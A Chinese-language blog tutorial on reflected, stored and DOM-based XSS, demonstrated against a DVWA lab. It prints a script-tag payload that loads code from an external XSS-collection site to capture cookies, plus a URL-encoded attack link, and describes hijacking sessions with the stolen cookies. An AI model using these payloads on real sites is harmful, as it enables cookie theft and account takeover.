评论

收藏

[其他] HW常见***方式 --XSS跨站脚本***

网络安全 网络安全 发布于:2021-07-02 11:48 | 阅读数:302 | 评论:0

后来,一杯酒能解决的事,也就不想再浪费眼泪了。。。
一、XSS介绍

跨站脚本***(CrossSiteScripting),为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本***缩写为XSS。恶意***者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意***用户的目的。

二、XSS平台

1、注册登陆账号,没有百分之百的安全,仅供测试交流
https://xssaq.com/xss.php
2、新建项目

DSC0000.png

3、自动生成要插入的xss代码
<sCRiPt/SrC=https://xssaq.com/dGLM>

三、反射性xss

1、在存在xss漏洞的网站,插入上面生成的xss代码,点击submit

DSC0001.png

2、刷新xss平台,会发现有一条数据

DSC0002.png

3、知道了网址,也知道cookie,下面利用工具登录,不用输入账号密码,直接登录了dvwa平台

DSC0003.png

4、反射性xss是一次性的,也就是说,需要人去点击下面的链接,才能触发该漏洞
http://192.168.1.14/dvwa/vulnerabilities/xss_r/?name=%3CsCRiPt%2FSrC%3Dhttps%3A%2F%2Fxssaq.com%2FdGLM%3E#

四、存储型xss

1、在留言板输入上面生成xss代码

DSC0004.png

DSC0005.png

2、只要刷新一下该页面,xss平台就出现一条记录,也就是说只要有人看到该留言板,我们就能获取其cookie

3、利用工具登录

4、存储型xss漏洞,理论是永久的,只要有人浏览到你插入的代码,他的cookie信息就会被拿到。

五、DOM型XSS

1、点击select,发现url中有English,

DSC0006.png

2、修改url中english为aaa,发现插入了代码中,所以存在dom型xss注入

DSC0007.png

3、插入生成的xss代码,即可获取对方的cookie
关注下面的标签,发现更多相似文章